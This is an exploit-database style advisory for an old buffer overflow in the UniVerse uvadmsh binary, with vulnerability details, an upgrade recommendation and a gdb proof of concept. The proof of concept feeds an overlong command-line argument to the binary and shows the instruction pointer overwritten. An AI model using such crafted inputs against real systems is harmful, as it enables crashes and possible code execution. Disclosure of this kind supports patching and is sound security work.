UniVerse uvadmsh Binary Command-Line Argument Buffer Overflow Vulnerability

vendor:

UniVerse

by:

SecurityFocus

7.5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: UniVerse

Affected Version From: 10.0.0.9

Affected Version To: Previous versions

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

UniVerse uvadmsh Binary Command-Line Argument Buffer Overflow Vulnerability

Under certain configurations, UniVerse allows the 'uvadm' user to perform certain administration tasks for the software. It has been reported that the uvadmsh binary does not perform bounds checking when parsing command-line arguments. While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well. An attacker can exploit this vulnerability by passing a specially crafted argument to the uvadmsh binary, which can lead to a segmentation fault.

Mitigation:

Upgrade to the latest version of UniVerse.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8209/info

Under certain configurations, UniVerse allows the 'uvadm' user to perform certain administration tasks for the software. It has been reported that the uvadmsh binary does not perform bounds checking when parsing command-line arguments. Because access to the vulnerable option is restricted to the uvadm user, other users may not be able to exploit this vulnerability.

While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well.

(gdb) r -uv.install `perl -e 'print "Z" x 546'`
Starting program: uvadmsh -uv.install `perl -e 'print "Z" x 546'`
error

Program received signal SIGSEGV, Segmentation fault.
0x5a5a5a5a in ?? ()
(gdb) bt
#0 0x5a5a5a5a in ?? ()
Cannot access memory at address 0x5a5a5a5a